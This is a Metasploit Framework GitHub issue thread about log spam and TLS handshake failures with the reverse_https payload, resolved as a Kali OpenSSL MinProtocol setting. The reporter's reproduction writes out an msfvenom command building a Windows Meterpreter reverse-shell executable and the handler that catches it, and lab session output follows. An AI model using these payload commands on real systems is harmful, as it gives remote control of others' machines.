Metasploit-framework: Log spam in framework.log (and SSL handshake failures using reverse_https)

[rwhitcroft]

Filing this bug after looking into why some rhttps agents aren't completing the meterpreter, might be more to this but starting here in case this is important...

Fresh Kali, msf 5.0.60-dev.

Run handler:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 1.2.3.4
set lport 443
run -j

Make venom thing:

msfvenom -p windows/x64/meterpreter/reverse_https -f exe -o rhttps.exe LHOST=1.2.3.4 LPORT=443

Run rhttps.exe on Windows 10. Session works fine, but:

[11/27/2019 10:47:36] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:36] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:36] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:36] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:36] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:36] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:36] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:37] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:37] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>
[11/27/2019 10:47:37] [e(0)] core: The accept() returned nil in stream server listener monitor:  #<Socket:fd 10>

[wvu-r7]

Did y'all setg LogLevel 3? That's not enough detail.

[wvu-r7]

Nevermind: https://github.com/rapid7/rex-core/blob/master/lib/rex/io/stream_server.rb#L156.

[wvu-r7]

No luck reproducing this yet on Win10. I doubt it's the port.

[*] https://192.168.56.1:8443 handling request from 192.168.56.112; (UUID: 9wuciexw) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.56.1:8443 -> 192.168.56.112:49821) at 2019-11-27 12:20:41 -0600

meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

[wvu-r7]

Working on Win7 as well:

[*] https://192.168.56.1:8443 handling request from 192.168.56.117; (UUID: o6zqosfw) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 2 opened (192.168.56.1:8443 -> 192.168.56.117:49161) at 2019-11-27 12:26:04 -0600

meterpreter > getuid
Server username: [redacted]
meterpreter > sysinfo
Computer        : [redacted]
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

[rwhitcroft]

What about grep -c accept framework.log? This issue was more about these errors filling the disk.

[rwhitcroft]

FWIW, I just tried this on a fresh Ubuntu and I don't get these errors. Kali issue?

[wvu-r7]

I did not have any such errors. I'm on OS X with a dev env.

[rwhitcroft]

I'm not getting them anymore (Ubuntu) but I assume anyone still using Kali and reverse_https is going to have their logs spammed hard. I'll leave this here for a bit I guess, you can close it if you want.

[wvu-r7]

I'll take a look, but if it's a Kali problem, there's not much we can do. If it's a problem in Framework, we can fix it.

[rwhitcroft]

This stops happening when you change MinProtocol = TLSv1.2 to MinProtocol = TLSv1.0 in /etc/ssl/openssl.cnf on Kali.

[wvu-r7]

17:59 <@wvu> odp: Ah, so it was environmental after all
17:59 <@wvu> I don't have that parameter in my config, but it's LibreSSL on OS X
17:59 <@wvu> However, it's using OpenSSL in Metasploit
18:00 <@wvu> Trying to find build options
18:00 <@wvu> Nothing useful from openssl version -a (LibreSSL, though)
18:00 <@wvu> odp: https://github.com/rapid7/metasploit-framework/pull/12530#issuecomment-549985397
18:01 <@wvu> It probably still uses the config file?
18:02 <@wvu> Trying to find a constant or something in Ruby
18:03 <@wvu> Got it
18:05 <@wvu> So, I have /etc/ssl/openssl.cnf, /private/etc/openssl.cnf, and...
18:05 <@wvu> [1] pry(#<Msf::Framework>)> OpenSSL::OPENSSL_VERSION
18:05 <@wvu> => "OpenSSL 1.1.1d  10 Sep 2019"
18:05 <@wvu> [2] pry(#<Msf::Framework>)> OpenSSL::Config::DEFAULT_CONFIG_FILE
18:05 <@wvu> => "/usr/local/etc/[email protected]/openssl.cnf"
18:07 <@wvu>  /usr/local/etc/[email protected]/openssl.cnf is more extensive, but it doesn't have MinProtocol
18:07 <@wvu> It should be the one Framework is using in my case
18:08 <@wvu> [5] pry(#<Msf::Framework>)> puts File.readlines('/usr/local/etc/[email protected]/openssl.cnf').grep /MinProtocol/
18:08 <@wvu> => nil
18:11 <@wvu> The default is probably TLSv1.0, but I can't verify that yet

[wvu-r7]

Thanks! I think this is resolved as a Kali issue. We'll redirect users who have this problem to your response.